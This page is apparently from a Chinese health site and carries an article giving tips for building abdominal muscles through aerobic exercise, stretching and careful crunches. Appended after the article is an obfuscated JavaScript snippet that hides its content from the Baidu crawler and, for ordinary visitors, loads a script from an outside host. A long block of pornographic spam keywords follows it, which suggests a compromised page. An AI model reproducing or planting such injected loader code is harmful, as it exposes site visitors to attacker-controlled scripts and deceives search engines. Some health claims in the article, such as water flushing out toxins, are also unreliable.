當前位置:首頁 > 健康 > 運動健身 > 正文

怎樣才能健身呢?

2017-04-14 17:21:45  來源:360常識網(wǎng)   熱度:
導語:很多的男性朋友都喜歡健身,總想讓自己的身上也會有堅實的肌肉,其實平時只要能夠選擇合適的方式,并且長時間的堅持進行鍛煉,都是可以出現(xiàn)

很多的男性朋友都喜歡健身,總想讓自己的身上也會有堅實的肌肉,其實平時只要能夠選擇合適的方式,并且長時間的堅持進行鍛煉,都是可以出現(xiàn)有健美的腹肌的。腹肌不僅僅是男性健美的一種標志,對于健康也是很有好處的,下面我們一起來了解怎樣健身才能夠練好腹肌。

1、單純的集中訓練某個部位的是無效的,因為身上的脂肪不會一塊一塊的掉下去。所以只做仰臥起坐那樣的訓練達不到效果,必須輔助有氧運動,比如慢跑或者游泳。

2、為了讓形狀好看,運動后的充分拉伸非常重要。很多人練完之后幾天腹部都會疼痛,但這是乳酸堆積,并不意味著練到位了,拉伸會緩解疼痛。

3、慢跑,運動前一次,運動后一次。第一次可以跑20分鐘然后訓練肌肉,第二次堅持跑完30分鐘以上。

4、腹肌和腰肌是“一枚硬幣的兩面”,在鍛煉腹肌的同時,也要注重腰肌的鍛煉。否則腹肌力量不斷增強,前后不平衡,在運動的過程中容易拉傷腰部。

5、有氧訓練。其實每個人都有腹肌,或大或小。但并不是每個人都有清晰線條,原因在于在腹肌上面蓋了或厚或淺的一層脂肪。有氧訓練可以幫助燃脂,Ulisses建議一周至少三次有氧訓練。有些朋友可能不做有氧,仍然保持非常清晰的腹肌線條。

6、腹肌作為小肌群其實比較好練,堅持幾個月就會有明顯變化,難的是消耗腹部脂肪。很多人長時間訓練腹肌卻練不出形狀,問題不在增肌而在減脂,需要減少油脂攝入,增加有氧運動。

7、大量飲水。這個對每個健身愛好者而言都是非常重要的一點。水能幫助維持健康的新陳代謝水平,清理體內(nèi)毒素及殘留物,使你保持一個非常好的身體狀態(tài)。

8、鍛煉腹肌,不論是仰臥卷腹(上腹)還是懸垂舉腿(下腹),動作一定要緩慢,從肌肉拉長到高峰收縮始終保持“對抗”,千萬不要借助慣性使猛勁,腰椎容易受傷。順便提一句,仰臥起坐由于幅度較大,容易使髖關節(jié)受傷,目前已經(jīng)不被教練推薦,而改為幅度更小、鍛煉部位更加孤立的卷腹動作。抱頭的仰臥起坐很容易傷到頸椎,是錯誤的動作。

男性朋友在平時鍛煉的時候,盡量能夠保持動作的準確性,這樣不僅僅,效果更加明顯,還可以盡可能的減少在運動過程中,給身體所帶來的一些不必要的傷害。在進行劇烈活動,以后應該及時的補充一些水分,防止身體出現(xiàn)脫水。

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲av永久无码精品秋霞电影影院 | 久久精品国产亚洲av四虎| 无码国产精品一区二区免费I6 | 久久久99精品免费观看| 国产精品国产三级国产专播下 | 国内精品乱码卡1卡2卡3免费| 法国性xxxx精品hd| 国产精品自产拍在线网站| 91精品视品在线播放| 精品露脸国产偷人在视频| 精品人人妻人人澡人人爽牛牛 | 精品人妻少妇一区二区三区不卡 | 中日韩精品视频在线观看| 国产91久久精品一区二区| 亚洲码国产精品高潮在线| 国产精品二区三区免费播放心| 精品久久久久久成人AV| 久久99国产精品久久| 亚洲国产精品第一区二区三区| 国产精品第一区揄拍| 99RE久久精品国产| 国产乱码精品一区二区三区中文| 男女男精品视频网站在线观看| 欧美日韩亚洲精品| 91精品综合久久久久久五月天| 极品精品国产超清自在线观看| 国产高清在线精品一区二区三区| 精品无码成人久久久久久| 精品无码免费专区毛片| 久久久久久九九精品久小说| 最新国产精品无码| 国产精品女同一区二区久久 | 国产综合免费精品久久久| 拍国产乱人伦偷精品视频| 超碰97久久国产精品牛牛| 亚洲精品无码久久久久牙蜜区| 亚洲国产精品综合久久久| 午夜精品久久久久久久| 麻豆精品成人免费国产片| 99久久精品国产高清一区二区| 亚洲精品无码你懂的网站|